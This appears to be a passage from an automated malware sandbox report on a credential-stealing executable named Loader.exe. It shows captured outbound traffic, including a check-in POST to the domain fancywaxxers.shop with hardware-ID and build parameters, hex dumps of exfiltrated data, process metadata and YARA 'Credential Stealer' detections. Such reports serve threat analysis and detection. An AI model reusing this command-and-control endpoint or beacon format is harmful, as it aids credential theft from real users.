e3 08 cb 32 71 90 2d 2c fe 0c ca ba 29 02 04 77 ef 90 3e cf 7c 74 a0 8c f5 ec 3a 84 ea 82 26 ee 2d c7 5f 23 5e c6 0b a2 e0 58 d6 91 b9 46 53 8a f2 22 1e 22 Data Ascii: ti()s=(i%tX,a+G_0T3wy?.pk.\|V9N__!HIw(~jO& M"{l$An#a&4>4(`"NO-#TD[bQ(^c?X/C2q-,)w>\|t:&-_#^XFS""
2024-12-31 16:38:47 UTC	15331	OUT	Data Raw: 0a 58 48 2a 87 17 bf 6c 9d 51 cc e1 f6 14 37 2f 81 2d fe 4a ec 13 74 1f df 51 5f 7b ff 47 fe 56 65 7a e8 ed d8 1d d4 cc a1 86 97 e8 04 65 ba fe 83 3d 04 9f a5 fc 13 36 8d 46 79 d6 f7 e4 a5 9d ab 99 1c 46 7b 5c 70 97 bb e5 9b d5 ea dc ec 83 4d 26 7f 25 1c c5 b6 f7 46 fb ab bd da 47 0c 98 ad 9e 52 b9 0a e1 61 f9 16 45 ed 82 e5 35 7c b7 b1 9b 28 01 d5 15 79 19 96 d8 3c 71 3e 29 ae da ce ac c9 7a b4 36 23 20 84 6b 23 fb 5f 42 2b 61 a8 ce 60 e4 4b 2c 6f 79 da a3 30 c3 38 d0 0e 4d e4 dc e0 29 f9 07 b7 15 46 48 f8 2a 6e c0 01 af b3 ab ab 56 bd d8 00 5a 14 93 0c b5 70 04 3d 54 f6 09 db f1 31 40 1f 6d 6b 4e d1 7b b9 a3 77 0c 0b c9 fd 2d 91 57 e5 b5 1c 45 dc 2b ad 0c 6c de 89 ee c9 1b 2c 06 05 74 b4 f1 7f 9f e4 40 5e b7 c0 af 5b 9a 7e 73 03 13 57 79 40 e7 2c ce c6 Data Ascii: XHlQ7/-JtQ_{GVeze=6FyF{\pM&%FGRaE5\|(y<q>)z6# k#_B+a`K,oy08M)FHnVZp=T1@mkN{w-WE+l,t@^[~sWy@,
2024-12-31 16:38:47 UTC	15331	OUT	Data Raw: 2b 42 10 b7 11 11 8e c5 d4 f6 b2 f5 4b cd ce 68 09 55 fa 37 7f e6 f5 33 71 0d ff b0 c2 d3 a0 d4 eb 6c 24 63 cc 91 30 d7 dc 2e 0b 11 3e 85 f3 82 2c ab 8c 3e 91 1a b6 6d 90 25 67 c4 9c ef 30 0c 18 85 b3 ca 1f b8 26 6a 83 d0 c1 e7 26 32 e7 6b e5 38 42 8b f1 76 21 b3 4b b3 bb c1 50 06 8c 30 cb ae 32 e9 fe 38 56 d3 6f 08 a3 24 e1 df 2f 97 70 cb 9e a9 4e f1 38 b2 90 30 e7 f3 f6 95 04 60 3b 5c f5 56 16 a4 06 a4 ca cd 88 80 70 9f 2e 88 9e 85 63 cd 22 81 c5 17 9e 07 3a de 86 9a dd b2 bd cf fd 35 43 ce 4b 61 7b c7 79 d2 82 95 3b e7 ad 06 4a 0f af 1c 9b 61 1b 3e d3 03 1e b2 ff bc ac 2a 37 d8 45 64 d5 3d 9a 90 bb 0e 08 c8 08 18 2a 9f 12 f1 1e cd 03 21 21 60 25 71 f4 a5 6d e7 12 2b bb b3 a5 ba f1 7a d5 92 29 0a e1 75 88 bf a0 2d 9e d3 37 54 fb b1 f3 b0 4c f9 1d 6c af Data Ascii: +BKhU73ql$c0.>,>m%g0&j&2k8Bv!KP028Vo$/pN80`;\Vp.c":5CKa{y;Ja>7Ed=!!`%qm+z)u-7TLl
2024-12-31 16:38:47 UTC	15331	OUT	Data Raw: 1f b7 a0 b7 3d bb 4f 77 25 c9 24 ad 39 7e bf 1a cc 5b 96 c2 f0 f7 b0 90 22 67 74 7c 89 cd 3d b2 7e 77 db 43 ec 34 7e 85 e9 b3 56 f5 41 90 c0 0e 5b 37 dd 4c 1f 5b 54 d8 5e 61 b4 c6 22 c0 ef e1 9f 2e 77 af f9 e4 08 d3 0f 7d 81 11 58 72 a7 97 ae fc e5 aa ae ef 9c 17 74 6c 81 cb 3a c9 06 50 4e 64 5c e7 a1 08 bf 99 5e 2c 98 9b cb 9f f7 77 97 83 4e c3 08 c5 ed f9 7d 50 2a 63 50 59 6f 10 09 88 45 7b f7 48 f4 06 38 28 fe 30 c4 a5 5d 02 54 a5 9d 45 36 18 08 89 50 5d 3d 61 08 af 79 32 ee d3 58 76 0c 71 b9 58 d3 03 dd 60 8c 26 49 0e 41 b8 0a 62 4d 3e 52 d2 7e 04 e6 6d 08 5f 2a 4d 3c 97 b1 72 e7 1f bf 1a a7 7f 5a fe 8c e5 bc 37 10 68 ce 56 7f 85 41 70 31 d2 6c 4a b5 9c f6 6b 28 f3 98 53 c4 18 2f 30 3c 2f 05 02 73 02 41 91 03 b8 36 ac fd 1f 44 c4 20 9a 0e 27 63 d0 f6 Data Ascii: =Ow%$9~["gt\|=~wC4~VA[7L[T^a".w}Xrtl:PNd\^,wN}PcPYoE{H8(0]TE6P]=ay2XvqX`&IAbM>R~m_M<rZ7hVAp1lJk(S/0</sA6D 'c
2024-12-31 16:38:47 UTC	15331	OUT	Data Raw: 9e dc ed ca fa f5 22 97 72 ea 12 45 b1 f1 8c 9a 40 3e 26 c6 db 9b 51 ca e6 af a9 2c 7e 9e d0 6e 6f 58 89 78 df bc 95 86 8a 0c 90 26 f4 46 bc d1 c5 7b 01 d8 4f 74 ef fe 56 d6 a4 61 db 48 2b f9 e1 76 d9 5b 96 82 1d b9 45 76 75 d9 fc 54 f2 36 15 8e 1c 5e 55 5b 76 70 cc 36 b9 61 4a 90 8b d6 31 2a c2 90 4f ee db 90 58 5e 38 6b 96 ed cf fb 58 7d f0 21 d6 25 a2 4c dc c9 a3 f6 2a aa 49 69 40 cc d6 4c 0c 40 cb 0c d4 b6 89 e8 cf de 07 78 26 10 87 9a c5 48 5e a0 64 7a 66 ad 9f 12 e0 2f 36 91 a1 0f 50 8d 54 76 f2 b0 de 9c c5 50 55 02 c2 99 9d 3b 4b 7f 69 10 ed e2 b9 54 28 a5 c2 f0 bb f7 52 12 a4 7c a9 0a 88 70 7b 95 1e 3d 9d 3e 6e c5 c7 d7 26 41 07 5c 22 9c de eb a2 05 d6 4e cc 77 6e fc b7 c2 ee 0a 02 a3 c8 ff bb 22 a8 3c 9c df 37 f0 54 0e 60 fc 6e a8 75 95 07 7b 50 Data Ascii: "rE@>&Q,~noXx&F{OtVaH+v[EvuT6^U[vp6aJ1OX^8kX}!%LIi@L@x&H^dzf/6PTvPU;KiT(R\|p{=>n&A\"Nwn"<7T`nu{P
2024-12-31 16:38:47 UTC	15331	OUT	Data Raw: 28 b5 aa cf 43 ca 74 e5 64 33 a5 ab 7a ab ea d1 26 42 60 e5 ac 47 9d 13 92 23 b4 41 ad 85 c3 13 38 7b 57 6d 7a e2 d9 da 6a f5 4e f1 38 e0 a3 ac cb d5 7f 9f 3c aa a8 b1 de 71 26 a2 4b b1 e5 cf d1 34 53 08 e1 e2 be fa 62 ab 22 ab 6e e5 f9 91 ad 99 6a 53 36 79 b9 f3 84 e5 92 39 72 bf fc 80 5b f9 a6 e4 a2 19 80 1b 36 06 9d 6f e0 a6 6a 8e df ef 0f 47 c1 53 82 9d ab ee f2 52 3b 3a 91 ec 11 71 6a b2 2d 09 41 8a 85 f1 73 3f 04 d3 72 3f 2a 27 ae 4b 8c 2d a4 1f 3f a7 29 f6 15 e3 ae 49 38 2e 43 e8 96 ec bb fc 2f 36 f9 ac d6 89 53 b2 4f 7d 28 f7 e2 3a 4d 83 6d de fe b6 b8 4d c6 23 bb 4e e0 a5 6f 51 c4 18 94 d3 1b 5f bb a6 a2 84 69 85 ce 9a 6e 01 51 be 9f 23 da 2b f2 79 3b 03 db 56 46 83 e6 e2 0b 68 1d 6f d6 9b d5 fa 0d 48 67 9c d6 1e 5a 6d ce 28 a7 87 32 78 01 73 43 Data Ascii: (Ctd3z&B`G#A8{WmzjN8<q&K4Sb"njS6y9r[6ojGSR;:qj-As?r?*'K-?)I8.C/6SO}(:MmM#NoQ_inQ#+y;VFhoHgZm(2xsC
2024-12-31 16:38:48 UTC	1137	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9b3gq8qhe086sin1i0bg75hdl9; expires=Sat, 26 Apr 2025 10:25:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K0XNBn5R25oa5Lzp%2BkZUdVGhz5nwzNXQ6b06SA2vRt7d56Z2Eydy75eb%2Fd5JjDsLivFApeRvDEFHviseYdm7%2BwvrTuEWw4lDgc4JKehPTFw3IMhrz869YJ9HSTl96qIbbRPBgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fabb3b2186f42d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1596&rtt_var=602&sent=297&recv=589&lost=0&retrans=0&sent_bytes=2843&recv_bytes=573002&delivery_rate=1810291&cwnd=229&unsent_bytes=0&cid=746ebbe96d3f1aa2&ts=1641&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49858	104.21.80.1	443	6472	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:38:49 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: fancywaxxers.shop
2024-12-31 16:38:49 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 35 38 30 39 32 32 34 31 30 33 26 6a 3d 26 68 77 69 64 3d 31 38 45 32 34 35 30 30 35 41 43 30 37 30 35 35 43 38 32 41 38 31 34 38 43 36 45 35 34 34 30 30 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--5809224103&j=&hwid=18E245005AC07055C82A8148C6E54400
2024-12-31 16:38:49 UTC	1125	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f5qvl3btu58cvap5k8k9mqch1k; expires=Sat, 26 Apr 2025 10:25:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6H1mt7tZ3nF49A124dl0hM5GEsgfS1ZGxtCXsGJgIrG2vNdSZhAJ7Lu2iPXWUze7yccg5k1rNjwswwpH9kzqUCsXoASCbXz1qr6j6iLFgy0Dt56wcPeuKB69mzpLzH9i%2BrjNug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fabb3bf7aa78c0f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1921&min_rtt=1917&rtt_var=728&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=988&delivery_rate=1494370&cwnd=223&unsent_bytes=0&cid=4da5dc5639032de2&ts=481&x=0"
2024-12-31 16:38:49 UTC	244	IN	Data Raw: 31 33 36 62 0d 0a 56 51 77 62 55 43 51 31 4a 4b 71 64 71 2b 31 57 42 4f 52 44 76 76 4a 4f 75 75 73 62 2b 73 47 67 77 70 68 4e 52 42 41 47 56 35 67 4f 64 7a 6b 32 55 42 63 65 6d 37 47 4a 69 48 51 2b 31 57 2b 63 6c 6d 79 41 79 56 57 4c 74 76 6a 7a 79 6a 77 4d 61 43 31 38 79 7a 51 36 51 67 42 4b 5a 55 4c 6b 72 2b 4b 2f 45 6b 57 39 4e 64 72 47 43 4f 62 45 63 4d 2b 49 32 71 57 72 66 51 78 64 61 42 62 53 59 6a 56 32 44 41 74 6a 59 35 37 37 34 39 70 6a 58 70 59 7a 32 64 6b 74 67 39 4d 6f 6f 36 6e 6c 6a 39 6f 6b 66 53 4e 68 44 37 4d 47 5a 33 45 66 59 46 4e 31 79 65 54 49 72 44 78 6c 6c 77 57 48 70 79 2f 53 30 33 32 4d 71 73 32 33 39 51 6c 78 61 6a 55 74 2f 44 78 4a 53 69 64 6a 65 52 66 50 33 38 33 59 47 56 65 70 64 2f 44 4b 65 38 Data Ascii: 136bVQwbUCQ1JKqdq+1WBORDvvJOuusb+sGgwphNRBAGV5gOdzk2UBcem7GJiHQ+1W+clmyAyVWLtvjzyjwMaC18yzQ6QgBKZULkr+K/EkW9NdrGCObEcM+I2qWrfQxdaBbSYjV2DAtjY57749pjXpYz2dktg9Moo6nlj9okfSNhD7MGZ3EfYFN1yeTIrDxllwWHpy/S032Mqs239QlxajUt/DxJSidjeRfP383YGVepd/DKe8
2024-12-31 16:38:49 UTC	1369	IN	Data Raw: 43 68 62 4c 6d 4f 37 49 33 73 66 7a 78 2f 66 43 33 78 48 6e 59 72 5a 6b 42 78 63 63 37 38 38 5a 34 5a 4e 4a 4d 4b 32 49 63 34 30 4a 46 79 72 61 6e 46 69 74 6b 37 42 31 4e 76 62 2f 56 6b 54 33 45 59 63 30 4a 72 33 4d 72 53 69 6a 52 4e 70 7a 72 39 72 6d 48 6a 6e 6c 48 4e 39 5a 61 52 34 43 46 7a 5a 6c 59 53 77 48 35 66 4b 79 6c 42 63 55 4c 75 2f 70 6d 30 46 32 4f 6f 42 74 6a 46 42 39 75 44 49 35 79 33 79 36 2f 74 49 41 41 6a 66 47 54 69 43 53 4e 32 41 48 56 53 44 2b 61 75 7a 61 38 77 4d 61 73 51 2b 63 59 41 67 36 6c 68 73 4c 62 6a 6a 4f 6f 36 48 43 46 55 4a 73 41 74 4a 7a 41 44 52 51 4e 39 2b 76 50 37 69 78 68 39 72 52 48 71 73 78 66 4d 6a 79 2b 57 6e 59 2b 70 72 43 49 2b 64 7a 56 6e 30 42 68 69 57 68 6c 54 52 32 62 4d 79 2b 79 43 4d 45 7a 54 64 76 66 46 50 Data Ascii: ChbLmO7I3sfzx/fC3xHnYrZkBxcc788Z4ZNJMK2Ic40JFyranFitk7B1Nvb/VkT3EYc0Jr3MrSijRNpzr9rmHjnlHN9ZaR4CFzZlYSwH5fKylBcULu/pm0F2OoBtjFB9uDI5y3y6/tIAAjfGTiCSN2AHVSD+auza8wMasQ+cYAg6lhsLbjjOo6HCFUJsAtJzADRQN9+vP7ixh9rRHqsxfMjy+WnY+prCI+dzVn0BhiWhlTR2bMy+yCMEzTdvfFP
2024-12-31 16:38:49 UTC	1369	IN	Data Raw: 63 39 4f 2b 52 31 58 6b 4b 4b 55 51 74 30 69 4a 50 56 53 46 54 62 52 58 34 37 4f 4f 56 66 53 2b 33 49 6f 69 72 48 74 53 37 66 62 54 7a 36 5a 44 63 44 42 31 6d 59 6d 50 65 43 53 4e 77 5a 57 31 50 51 35 6d 74 34 36 41 34 52 61 31 78 7a 4c 41 6f 37 4b 78 30 6e 49 6d 58 39 39 49 2f 4e 48 63 74 4e 4b 46 74 50 30 49 34 59 58 68 6d 77 36 53 59 69 67 34 76 73 43 6a 55 76 51 72 63 75 6e 69 44 6f 75 47 6f 2b 54 34 43 4b 56 4d 32 38 47 31 71 62 54 74 4a 51 45 6e 75 71 4e 48 65 4c 47 43 4e 42 75 2b 46 43 66 62 59 66 72 69 6e 6c 59 33 4c 41 48 42 65 50 78 58 69 48 33 74 59 48 6c 56 43 66 4a 76 50 32 71 55 75 4c 38 38 51 33 38 51 58 36 6f 56 4c 6e 49 2b 53 69 38 6f 4a 42 55 6c 77 4d 36 77 54 55 44 51 37 45 58 78 65 7a 61 36 62 70 52 74 71 70 51 71 4d 67 41 7a 63 76 56 Data Ascii: c9O+R1XkKKUQt0iJPVSFTbRX47OOVfS+3IoirHtS7fbTz6ZDcDB1mYmPeCSNwZW1PQ5mt46A4Ra1xzLAo7Kx0nImX99I/NHctNKFtP0I4YXhmw6SYig4vsCjUvQrcuniDouGo+T4CKVM28G1qbTtJQEnuqNHeLGCNBu+FCfbYfrinlY3LAHBePxXiH3tYHlVCfJvP2qUuL88Q38QX6oVLnI+Si8oJBUlwM6wTUDQ7EXxeza6bpRtqpQqMgAzcvV
2024-12-31 16:38:49 UTC	1369	IN	Data Raw: 73 36 6b 35 47 44 39 46 4d 4b 77 46 51 6c 51 53 51 67 42 6a 7a 75 58 5a 32 79 64 48 74 68 58 59 67 42 54 73 75 33 53 78 71 4f 69 34 72 47 59 33 53 6c 5a 6a 30 52 30 36 62 7a 35 6e 56 78 7a 62 70 4d 47 67 4f 55 71 46 47 73 61 63 42 76 4f 4a 62 61 4b 5a 2b 62 6a 42 45 57 73 69 4d 57 44 35 50 57 39 69 41 58 56 70 43 35 50 48 6d 4a 30 38 57 4d 73 42 31 4c 45 4c 6a 72 46 63 77 72 50 7a 67 64 73 5a 63 6b 56 42 4e 63 52 36 62 32 4e 6f 51 32 46 4b 33 38 72 42 33 6a 49 38 69 69 54 66 71 43 69 43 32 48 79 2f 68 75 61 59 6f 41 6f 4b 4a 6d 77 51 2b 78 74 6e 55 68 70 65 54 51 2f 32 73 73 2b 71 46 48 53 65 43 34 2b 4c 44 2b 2b 54 51 36 69 31 39 70 66 57 66 7a 52 34 64 68 6a 4b 46 33 67 72 46 6b 35 43 66 64 33 31 37 4e 51 50 56 70 34 43 35 49 64 35 30 6f 46 31 73 66 65 Data Ascii: s6k5GD9FMKwFQlQSQgBjzuXZ2ydHthXYgBTsu3SxqOi4rGY3SlZj0R06bz5nVxzbpMGgOUqFGsacBvOJbaKZ+bjBEWsiMWD5PW9iAXVpC5PHmJ08WMsB1LELjrFcwrPzgdsZckVBNcR6b2NoQ2FK38rB3jI8iiTfqCiC2Hy/huaYoAoKJmwQ+xtnUhpeTQ/2ss+qFHSeC4+LD++TQ6i19pfWfzR4dhjKF3grFk5Cfd317NQPVp4C5Id50oF1sfe
2024-12-31 16:38:49 UTC	628	IN	Data Raw: 79 39 79 54 43 58 58 4d 32 39 35 47 6e 78 7a 45 2b 37 4a 38 5a 51 4f 66 4e 4d 6e 31 36 63 45 32 4c 63 30 69 76 4c 33 73 64 77 36 43 31 46 41 47 4f 77 58 61 58 49 61 55 33 5a 72 2b 4f 37 39 6e 6d 4d 39 72 44 72 35 68 68 62 62 6d 6b 4b 71 69 64 71 61 79 42 73 68 61 6a 34 2b 33 53 31 70 56 32 4d 50 64 6e 36 5a 31 5a 33 64 46 30 33 55 43 34 61 2f 66 76 4f 39 58 59 75 71 6b 34 6a 64 42 44 5a 5a 53 42 33 2b 4d 45 73 77 47 52 41 48 45 4d 54 76 33 71 38 6d 4d 34 30 57 39 62 64 32 33 64 31 4f 71 75 72 44 73 36 41 4d 4c 58 46 73 41 76 42 6c 57 6c 59 41 52 58 39 69 6e 36 37 2f 6d 43 35 76 6c 7a 54 53 69 42 2f 70 6e 46 79 32 6c 4f 75 50 38 69 38 6c 55 32 6c 68 33 77 4a 45 56 6d 4a 30 44 45 36 66 79 50 50 63 42 47 76 51 45 38 61 77 4f 74 61 70 63 63 2b 59 31 36 58 68 Data Ascii: y9yTCXXM295GnxzE+7J8ZQOfNMn16cE2Lc0ivL3sdw6C1FAGOwXaXIaU3Zr+O79nmM9rDr5hhbbmkKqidqayBshaj4+3S1pV2MPdn6Z1Z3dF03UC4a/fvO9XYuqk4jdBDZZSB3+MEswGRAHEMTv3q8mM40W9bd23d1OqurDs6AMLXFsAvBlWlYARX9in67/mC5vlzTSiB/pnFy2lOuP8i8lU2lh3wJEVmJ0DE6fyPPcBGvQE8awOtapcc+Y16Xh
2024-12-31 16:38:49 UTC	1369	IN	Data Raw: 32 33 33 31 0d 0a 48 41 64 57 33 4e 49 43 4c 39 66 66 70 4b 54 52 42 56 33 79 68 44 7a 39 72 50 45 4a 7a 54 75 6e 59 6e 37 51 52 50 4b 42 32 31 5a 59 45 30 34 35 5a 6c 61 50 44 38 36 41 6c 4d 6e 70 49 50 66 45 45 51 33 51 61 48 57 42 76 6e 76 7a 6a 72 7a 68 63 74 53 72 36 78 7a 53 4a 6b 58 2b 51 71 4e 65 4b 71 6e 78 33 4f 30 49 45 39 58 35 75 4c 68 5a 79 56 46 53 66 79 50 72 61 4c 48 43 44 48 35 48 48 41 4f 71 44 64 4a 6d 47 78 4b 62 62 42 42 52 2b 56 6a 48 57 5a 30 4e 58 45 55 4a 73 52 73 36 70 35 61 59 69 4d 5a 49 6f 36 4d 45 2b 31 71 6c 79 76 71 33 4f 6e 72 63 49 45 53 6c 48 4f 4e 77 64 4f 32 4d 58 55 6b 52 49 77 4e 62 62 72 67 34 31 67 6a 48 45 32 51 33 34 68 57 6a 49 71 50 4b 30 2f 77 41 51 51 54 38 67 7a 54 68 4e 59 54 46 58 63 78 33 61 2b 2f 2b 34 Data Ascii: 2331HAdW3NICL9ffpKTRBV3yhDz9rPEJzTunYn7QRPKB21ZYE045ZlaPD86AlMnpIPfEEQ3QaHWBvnvzjrzhctSr6xzSJkX+QqNeKqnx3O0IE9X5uLhZyVFSfyPraLHCDH5HHAOqDdJmGxKbbBBR+VjHWZ0NXEUJsRs6p5aYiMZIo6ME+1qlyvq3OnrcIESlHONwdO2MXUkRIwNbbrg41gjHE2Q34hWjIqPK0/wAQQT8gzThNYTFXcx3a+/+4
2024-12-31 16:38:49 UTC	1369	IN	Data Raw: 6e 64 69 79 72 76 6e 31 4f 4d 70 73 4b 56 2f 44 30 42 59 32 45 41 30 47 31 4a 4b 78 6c 79 44 46 58 4d 33 50 72 47 62 33 47 79 49 73 6d 37 4e 74 47 64 61 5a 53 75 35 4b 50 33 41 68 52 53 4e 7a 33 6f 59 33 68 76 42 33 4e 41 61 50 44 2b 77 5a 30 78 64 74 31 36 34 74 30 65 31 37 6b 70 30 5a 48 4b 68 63 74 6d 42 31 49 31 4d 63 45 2f 4e 58 64 6d 58 55 46 6c 36 64 48 4d 6d 52 46 6d 74 58 72 51 79 78 6a 62 68 48 4f 69 6f 76 4f 30 2f 51 77 2b 49 46 34 74 38 44 70 76 58 44 52 41 64 6d 33 36 38 2f 75 4c 47 44 61 6c 4a 6f 69 6d 4b 66 6d 78 59 37 79 6e 30 70 75 70 4f 69 46 5a 53 6d 43 70 41 6a 39 4b 4e 55 73 44 5a 2f 6d 6f 36 70 77 47 56 4a 77 45 37 59 41 50 2b 34 35 49 67 49 7a 4f 70 36 42 34 44 6c 35 41 59 38 49 48 61 57 38 39 64 48 63 51 7a 65 76 41 31 44 56 71 68 Data Ascii: ndiyrvn1OMpsKV/D0BY2EA0G1JKxlyDFXM3PrGb3GyIsm7NtGdaZSu5KP3AhRSNz3oY3hvB3NAaPD+wZ0xdt164t0e17kp0ZHKhctmB1I1McE/NXdmXUFl6dHMmRFmtXrQyxjbhHOiovO0/Qw+IF4t8DpvXDRAdm368/uLGDalJoimKfmxY7yn0pupOiFZSmCpAj9KNUsDZ/mo6pwGVJwE7YAP+45IgIzOp6B4Dl5AY8IHaW89dHcQzevA1DVqh
2024-12-31 16:38:49 UTC	1369	IN	Data Raw: 50 33 64 78 4c 74 50 50 76 6a 74 6c 6d 43 6a 74 32 66 50 51 58 57 47 6f 2f 45 56 39 6a 2f 39 50 37 74 53 46 48 31 53 48 38 70 54 54 55 32 79 32 44 67 35 4f 78 39 44 30 7a 4f 32 56 38 31 68 6c 56 53 77 64 74 64 30 32 54 72 65 65 4f 59 6b 69 57 4b 49 79 6d 4b 4f 75 49 59 70 6d 41 30 76 76 31 49 51 42 7a 58 78 50 2f 50 58 39 44 42 30 6c 46 53 2b 33 48 6d 37 31 76 61 36 6f 70 30 62 67 37 38 36 52 48 31 62 62 6b 71 74 59 70 63 45 4e 6b 46 4e 77 66 4f 46 39 6a 48 56 31 46 6d 4f 79 5a 74 51 56 30 73 69 66 36 6f 52 62 4e 68 30 4b 76 6f 76 61 6b 72 33 55 65 5a 32 45 2b 73 7a 78 32 49 77 6f 58 56 46 53 61 30 50 36 4b 4f 45 57 74 63 66 4c 5a 66 4e 75 4a 59 63 71 30 35 4a 6a 53 50 7a 52 33 52 52 50 72 62 54 39 43 45 68 4e 5a 55 4d 4c 62 77 4e 30 4f 4c 37 41 6f 2b 6f Data Ascii: P3dxLtPPvjtlmCjt2fPQXWGo/EV9j/9P7tSFH1SH8pTTU2y2Dg5Ox9D0zO2V81hlVSwdtd02TreeOYkiWKIymKOuIYpmA0vv1IQBzXxP/PX9DB0lFS+3Hm71va6op0bg786RH1bbkqtYpcENkFNwfOF9jHV1FmOyZtQV0sif6oRbNh0Kvovakr3UeZ2E+szx2IwoXVFSa0P6KOEWtcfLZfNuJYcq05JjSPzR3RRPrbT9CEhNZUMLbwN0OL7Ao+o
2024-12-31 16:38:49 UTC	1369	IN	Data Raw: 55 6f 6d 6b 6b 6f 43 73 49 43 42 30 52 52 37 49 4f 31 78 39 48 68 5a 38 55 70 76 56 38 70 30 41 57 4d 73 46 6a 59 41 62 7a 71 39 7a 73 34 7a 4e 6b 2f 59 37 64 43 56 42 50 4f 34 41 4f 56 70 37 52 67 4a 7a 30 76 62 75 71 78 6c 67 70 79 6a 70 74 79 62 49 33 31 53 71 6d 4f 69 71 39 33 38 39 4a 47 77 2f 34 67 51 31 4c 68 4e 41 48 6b 61 64 36 75 32 2b 59 6c 4b 70 47 63 69 48 4c 2f 57 37 4c 62 36 57 77 76 62 39 65 52 64 57 63 7a 6a 32 44 54 39 6a 50 6b 64 2f 5a 74 4f 73 34 59 77 6b 66 62 5a 36 32 5a 38 46 30 37 63 30 72 76 4c 31 6c 73 45 6a 43 46 70 55 4a 36 6f 6e 53 45 34 55 56 33 64 69 37 2f 54 37 6c 77 4e 6e 74 67 2f 30 76 79 48 78 72 6c 71 4a 68 4a 54 79 32 52 67 4a 4a 7a 41 4f 31 69 5a 57 4b 6a 74 58 65 57 32 62 71 38 57 4d 4a 55 71 31 44 4d 6d 33 47 2b 6d Data Ascii: UomkkoCsICB0RR7IO1x9HhZ8UpvV8p0AWMsFjYAbzq9zs4zNk/Y7dCVBPO4AOVp7RgJz0vbuqxlgpyjptybI31SqmOiq9389JGw/4gQ1LhNAHkad6u2+YlKpGciHL/W7Lb6Wwvb9eRdWczj2DT9jPkd/ZtOs4YwkfbZ62Z8F07c0rvL1lsEjCFpUJ6onSE4UV3di7/T7lwNntg/0vyHxrlqJhJTy2RgJJzAO1iZWKjtXeW2bq8WMJUq1DMm3G+m

Target ID:	0
Start time:	11:38:07
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\Loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Loader.exe"
Imagebase:	0x320000
File size:	834'048 bytes
MD5 hash:	932410F2B859E916C9C7A8B801348466
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:38:07
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:38:08
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\Loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Loader.exe"
Imagebase:	0x320000
File size:	834'048 bytes
MD5 hash:	932410F2B859E916C9C7A8B801348466
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2338745992.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2352050415.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2375611870.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2375179400.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2390068678.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	1.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	29

Executed Functions

Function 0035019E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
